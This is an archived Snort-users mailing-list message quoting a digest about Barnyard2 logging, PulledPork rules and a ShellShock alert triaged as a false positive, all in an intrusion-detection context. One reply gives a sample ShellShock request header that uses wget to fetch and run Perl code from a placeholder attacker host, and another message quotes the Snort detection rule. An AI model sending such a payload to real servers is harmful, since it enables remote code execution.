Snort mailing list archives
Re: Snort-users Digest, Vol 106, Issue 16
From: Anthony Gallina <anthonygallina1 () gmail com>
Date: Thu, 5 Mar 2015 22:15:05 -0800
Hello I am a newbie to snort. I am on a Ubuntu 14.04 system and trying to get Snort, Barnyard2, Pulledpork, BASE to work. It looks like snort is out putting u2 files that look like binary code. Pulled pork is pulling new rules. BASE is up but not showing any traffic. But it doesn’t seem like barnyard2 is logging to my MySQL that is running local on Apache 2. Is it possible to get assistance with this? Or should I just lurk for a while and see if I can figure out whats going on? And sorry to mix my introduction with a problem : ( On Thu, Mar 5, 2015 at 5:54 AM, <snort-users-request () lists sourceforge net> wrote:
Send Snort-users mailing list submissions to snort-users () lists sourceforge net To subscribe or unsubscribe via the World Wide Web, visit https://lists.sourceforge.net/lists/listinfo/snort-users or, via email, send a message with subject or body 'help' to snort-users-request () lists sourceforge net You can reach the person managing the list at snort-users-owner () lists sourceforge net When replying, please edit your Subject line so it is more specific than "Re: Contents of Snort-users digest..." When responding, please don't respond with the entire Digest. Please trim your response. Today's Topics: 1. Re: need assistance - no so rules with pulled pork (Al Lewis (allewi)) 2. Re: need assistance - no so rules with pulled pork (Joel Esler (jesler)) 3. Re: ShellShock Signatures (Colin Edwards) ---------------------------------------------------------------------- Message: 1 Date: Thu, 5 Mar 2015 12:12:46 +0000 From: "Al Lewis (allewi)" <allewi () cisco com> Subject: Re: [Snort-users] need assistance - no so rules with pulled pork To: Rata Pelua <intesnetmiosolo () gmail com>, "snort-users () lists sourceforge net" <snort-users () lists sourceforge net> Message-ID: <789F50FCB3014340B798E7CD25851FBE05D596DE () xmb-rcd-x10 cisco com> Content-Type: text/plain; charset="utf-8" For .so rules: http://vrt-blog.snort.org/2009/01/using-vrt-certified-shared-object-rules.html To run snort in IDS mode you need to add ?-c? and point to a conf file so it can load the preprocessors: http://manual.snort.org/node6.html Hope this helps. Albert Lewis QA Software Engineer SOURCEfire, Inc. now part of Cisco 9780 Patuxent Woods Drive Columbia, MD 21046 Phone: (office) 443.430.7112 Email: allewi () cisco com From: Rata Pelua [mailto:intesnetmiosolo () gmail com] Sent: Wednesday, March 04, 2015 6:49 AM To: snort-users () lists sourceforge net Subject: [Snort-users] need assistance - no so rules with pulled pork Hi Everybody, I'm having different issues when I have tried to configure pulledpork in my raspberry pi (Raspbian) , Firstly , it didn't generate the snort.rules , but I tried several times, tried to check the pulledpork.conf rename the path file, and after it, It successfully generated the snort.rules but not the .so rules ... please, Is there anybody that it can help me? Also, I would like to activate the predecessor for port scan, I have tried to include a code in the snort.conf file (since 426-447) but when I ran snort -b I got a warning: WARNING: No preprocessors configured for policy 0. Attached there are my pulledpork.conf and snort.conf files, and output in -verbose mode . Thank you in advance, Atai -------------- next part -------------- An HTML attachment was scrubbed... ------------------------------ Message: 2 Date: Thu, 5 Mar 2015 12:25:58 +0000 From: "Joel Esler (jesler)" <jesler () cisco com> Subject: Re: [Snort-users] need assistance - no so rules with pulled pork To: Rata Pelua <intesnetmiosolo () gmail com> Cc: "snort-users () lists sourceforge net" <snort-users () lists sourceforge net> Message-ID: <221E9D49-6DFB-4067-A6E7-615FE8755CB6 () cisco com> Content-Type: text/plain; charset="us-ascii" What OS do you have on the pi? -- Joel Esler Sent from my iPhone On Mar 5, 2015, at 6:43 AM, Rata Pelua <intesnetmiosolo () gmail com<mailto: intesnetmiosolo () gmail com>> wrote: Hi Everybody, I'm having different issues when I have tried to configure pulledpork in my raspberry pi (Raspbian) , Firstly , it didn't generate the snort.rules , but I tried several times, tried to check the pulledpork.conf rename the path file, and after it, It successfully generated the snort.rules but not the .so rules ... please, Is there anybody that it can help me? Also, I would like to activate the predecessor for port scan, I have tried to include a code in the snort.conf file (since 426-447) but when I ran snort -b I got a warning: WARNING: No preprocessors configured for policy 0. Attached there are my pulledpork.conf and snort.conf files, and output in -verbose mode . Thank you in advance, Atai <snort.conf> <pulledpork.conf> <rules!-> <verbosemode_noSOrules> ------------------------------------------------------------------------------ Dive into the World of Parallel Programming The Go Parallel Website, sponsored by Intel and developed in partnership with Slashdot Media, is your hub for all things parallel software development, from weekly thought leadership blogs to news, videos, case studies, tutorials and more. Take a look and join the conversation now. http://goparallel.sourceforge.net/ _______________________________________________ Snort-users mailing list Snort-users () lists sourceforge net<mailto:Snort-users () lists sourceforge netGo to this URL to change user options or unsubscribe: https://lists.sourceforge.net/lists/listinfo/snort-users Snort-users list archive: http://sourceforge.net/mailarchive/forum.php?forum_name=snort-users Please visit http://blog.snort.org to stay current on all the latest Snort news! -------------- next part -------------- An HTML attachment was scrubbed... ------------------------------ Message: 3 Date: Thu, 5 Mar 2015 08:54:07 -0500 From: Colin Edwards <colin.p.edwards () gmail com> Subject: Re: [Snort-users] ShellShock Signatures To: "Joel Esler (jesler)" <jesler () cisco com> Cc: "snort-users () lists sourceforge net" <snort-users () lists sourceforge net> Message-ID: <CAJX8fKzA8b793o1v32euNP_7LA3= 0br9nm1ydML6-YtMA4bymg () mail gmail com> Content-Type: text/plain; charset="utf-8" The URI that is being alerted on is /ad/sacbee.jsp?loc=sbp_sbw_ros_ros_mediumbox&fmt=&fmtpos= &keyw=&jsfuncstart=(function()%20{%20var%20adagioAsyncParams={%22ap%22: true,%22ph%22:%22mainstage-free-html%22};&jsfunc=})();& jsfuncno=//})();&rlp=&rnd=267194691727 That URI is in an HTTP GET request coming from the host inside our network, and that GET happens immediately after browsing to sacbee.com. After a little more research, it looks like this is being caused by some Ad server running on their web server, and it's not trying to execute any shell commands. At the moment, we're using the base policy "Balanced Security and Connectivity", and have not made any modifications to it. So, the rule for 1:31977 is: alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"OS-OTHER Bash CGI environment variable injection attempt"; flow:to_server,established; content:"() {"; fast_pattern:only; http_uri; metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:cve,2014-6271; reference:cve,2014-6277; reference:cve,2014-6278; reference:cve,2014-7169; classtype:attempted-admin; sid:31977; rev:4; ) It's pretty clear that "() {" is in the URI, so that makes sense why it triggered. I'm a little unclear on $EXTERNAL_NET vs $HOME_NET right now, and why the rule is triggered on the outbound traffic (although it is good to know there's no malicious traffic originating from our network). I need to look into that...maybe something we missed during initial configuration. The pcap of the packet that generated the alert is attached. Thanks, Colin On Tue, Mar 3, 2015 at 11:57 AM, Joel Esler (jesler) <jesler () cisco com> wrote:We made a blog post back when this came out on the details of the vulnerability here:http://vrt-blog.snort.org/2014/09/shellshock-update-bash-immediately.html-- *Joel Esler* Open Source Manager Threat Intelligence Team Lead Talos Group On Mar 3, 2015, at 11:37 AM, s0ups . <ynots0ups () gmail com> wrote: On Mon, Mar 2, 2015 at 8:54 PM, Colin Edwards <colin.p.edwards () gmail comwrote:Hello Snort Users, I'm a new list member, and happy to say that I've been working with Firesight and a couple of ASA-X Firepower modules for almost a week now. This is my first time hands-on w/ an IPS/IDS. I'm here because I found this message from this list while researching an alert: http://sourceforge.net/p/snort/mailman/message/32980285/ . I had auserviewing a newspaper's website today, and I received an alert for1:31977.I actually wasn't familiar with the domain name, and just searching forthedomain I saw in the alert in Google also generated an alert from my workstation (I assume something to do with Google pulling news/images to display in the results?). The URI from the request does have "() {" init,so that's why it was triggered, but I don't know if it's a FalsePositivealert. The website was for the Sacramento Bee (www.sacbee.com). I can provide more detail from the pcap / URI when I'm back in the office tomorrow. While I'm introducing myself as a snort newbie...If anyone has any recommendations for other resources or reading material, feel free to message me off-list. Cheers, Colin Edwards CISSP, GCIH, GCWN, GSEC, MCSEYo Colin, As you probably know, Shellshock attacks attempt to exploit environment variables that use user-provided data. The attacks are pretty easy to identify as they usually have some recognizable commands after the "() { :;};". I've actually hardly, if ever, see 1:31977 in my environment asthemajority of the legit hits I see target HTTP header fields (so 1:31978 is more common) like so: GET /cgi-bin/possiblevulnerablescript.cgi User-Agent: () { :;}; /bin/bash -c "cd /var/tmp;wget http://attackerwebsite/maliciousperlcode;perl maliciousperlcode Fireeye has a good explanation and illustration of the various attack methods seen for the Shellshock vulnerability which will give you a good idea on what the common attacks look like. (https://www.fireeye.com/blog/threat-research/2014/09/shellshock-in-the-wild.html) Chances are if it's an HTTP response from an external webserver to a client browser than it's a FP and poses little to no threat. I'd be interested in checking out the URI if you want to send it to me. - s0ups On Mon, Mar 2, 2015 at 8:54 PM, Colin Edwards <colin.p.edwards () gmail com wrote:Hello Snort Users, I'm a new list member, and happy to say that I've been working with Firesight and a couple of ASA-X Firepower modules for almost a week now. This is my first time hands-on w/ an IPS/IDS. I'm here because I found this message from this list while researching an alert: http://sourceforge.net/p/snort/mailman/message/32980285/ . I had auserviewing a newspaper's website today, and I received an alert for1:31977.I actually wasn't familiar with the domain name, and just searching forthedomain I saw in the alert in Google also generated an alert from my workstation (I assume something to do with Google pulling news/images to display in the results?). The URI from the request does have "() {" init,so that's why it was triggered, but I don't know if it's a FalsePositivealert. The website was for the Sacramento Bee (www.sacbee.com). I can provide more detail from the pcap / URI when I'm back in the office tomorrow. While I'm introducing myself as a snort newbie...If anyone has any recommendations for other resources or reading material, feel free to message me off-list. Cheers, Colin Edwards CISSP, GCIH, GCWN, GSEC, MCSE------------------------------------------------------------------------------Dive into the World of Parallel Programming The Go Parallel Website, sponsored by Intel and developed in partnership with Slashdot Media, is your hub for all things parallel software development, from weekly thought leadership blogs to news, videos, case studies, tutorials and more. Take a look and join the conversation now. http://goparallel.sourceforge.net/ _______________________________________________ Snort-users mailing list Snort-users () lists sourceforge net Go to this URL to change user options or unsubscribe: https://lists.sourceforge.net/lists/listinfo/snort-users Snort-users list archive: http://sourceforge.net/mailarchive/forum.php?forum_name=snort-users Please visit http://blog.snort.org to stay current on all the latest Snort news!------------------------------------------------------------------------------Dive into the World of Parallel Programming The Go Parallel Website, sponsored by Intel and developed in partnership with Slashdot Media, is your hubforall things parallel software development, from weekly thought leadershipblogsto news, videos, case studies, tutorials and more. Take a look and join the conversation now.http://goparallel.sourceforge.net/_______________________________________________Snort-users mailing list Snort-users () lists sourceforge net Go to this URL to change user options or unsubscribe: https://lists.sourceforge.net/lists/listinfo/snort-users Snort-users list archive: http://sourceforge.net/mailarchive/forum.php?forum_name=snort-users Please visit http://blog.snort.org to stay current on all the latest Snort news!-------------- next part -------------- An HTML attachment was scrubbed... -------------- next part -------------- A non-text attachment was scrubbed... Name: packet.pcap Type: application/octet-stream Size: 1298 bytes Desc: not available ------------------------------ ------------------------------------------------------------------------------ Dive into the World of Parallel Programming The Go Parallel Website, sponsored by Intel and developed in partnership with Slashdot Media, is your hub for all things parallel software development, from weekly thought leadership blogs to news, videos, case studies, tutorials and more. Take a look and join the conversation now. http://goparallel.sourceforge.net/ ------------------------------ _______________________________________________ Snort-users mailing list Snort-users () lists sourceforge net https://lists.sourceforge.net/lists/listinfo/snort-users End of Snort-users Digest, Vol 106, Issue 16 ********************************************
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- Re: Snort-users Digest, Vol 106, Issue 16 Anthony Gallina (Mar 05)